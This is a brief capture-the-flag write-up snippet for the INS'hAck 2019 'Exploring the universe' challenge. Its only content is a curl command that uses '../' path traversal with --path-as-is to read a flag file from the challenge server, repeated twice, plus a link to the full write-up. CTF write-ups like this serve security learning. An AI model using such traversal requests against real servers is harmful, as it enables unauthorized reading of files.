Rating:
```
curl https://exploring-the-universe.ctf.insecurity-insa.fr/../universe/flag --path-as-is
```
Original writeup (https://www.nevivur.net/writeups/2019/05/inshack-2019/#exploring-the-universe).
Rating:
```
curl https://exploring-the-universe.ctf.insecurity-insa.fr/../universe/flag --path-as-is
```
